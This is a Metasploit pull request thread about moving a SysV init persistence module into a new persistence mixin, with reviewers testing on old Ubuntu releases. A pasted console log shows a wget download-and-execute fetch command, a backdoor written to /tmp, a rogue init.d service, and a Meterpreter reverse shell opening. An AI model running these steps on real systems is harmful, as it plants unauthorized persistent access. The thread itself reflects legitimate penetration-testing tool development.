update systemvinit to persistence mixin

[h00die]

Pulls out systemvinit from the init persistence module and adds new persistence mixin. Part of #20374

Verification

• Start msfconsole
• exploit the box somehow (ssh_login for instance)
• use exploit/linux/persistence/init_systemvinit
• set SESSION <id>
• exploit
• Verify persistence is created, and you get a new session if apt is run
• Verify cleanup works
• Document is updated and correct

[dledda-r7]

Currently trying with ubuntu 9.04 and it's not working for some reason.. i'll give it a shot tomorrow aswell.

[h00die]

[h00die]

I have a 10.04 laying around. Default payload cmd/linux/http/x64/meterpreter/reverse_tcp uses curl, which isn't loaded on the system by default. When I switched to wget it worked fine.

msf exploit(linux/persistence/init_sysvinit) > set fetch_command wget
fetch_command => WGET
msf exploit(linux/persistence/init_sysvinit) > rexploit
[*] Reloading module...
[*] Command to run on remote host: wget -qO ./JkKvDlANMv http://1.1.1.1:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./JkKvDlANMv;./JkKvDlANMv&
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /t70WmtC4mNeBieRpZqn09Q
msf exploit(linux/persistence/init_sysvinit) > [*] Running automatic check ("set AutoCheck false" to disable)
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[+] The target appears to be vulnerable. /tmp/ is writable and system is System V based
[*] Writing backdoor to /tmp//jSUGHMMqg
[*] Utilizing update-rc.d
[*] Writing service: /etc/init.d/lZDIiBrrkY
[+] Enabling & starting our service
[*] Client 1.1.1.1 requested /t70WmtC4mNeBieRpZqn09Q
[*] Sending payload to 1.1.1.1 (Wget/1.12 (linux-gnu))
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 1.1.1.1
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 1.1.1.1:51587) at 2025-10-13 13:58:48 -0400
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/ubuntu10.04_20251013.5848/ubuntu10.04_20251013.5848.rc

[dledda-r7]

wait, if is working for Ubuntu 10.04 didn't maybe you wrongly stated the system supported in the docs between the upstart persistence and the sysv one? because in this PR is stating that should be Ubunut less or equal to 9.04

[h00die]

Trying to find an answer... https://blog.packagecloud.io/ubuntu-a-journey-from-system-v-to-system-d/ says sysv only lasted till 6.10, but my proof shows otherwise unless there was an overlap in systems or some backwards compatibility built in

[h00die]

Maybe it is just backwards compatible: https://www.reddit.com/r/linux4noobs/comments/5f7or8/comment/dai4p86/

[dledda-r7]

yep, i'll pull an ubuntu 6.06. and see how it goes.

[msutovsky-r7]

Release Notes

This pulls out systemvinit from the init persistence module and adds new persistence mixin.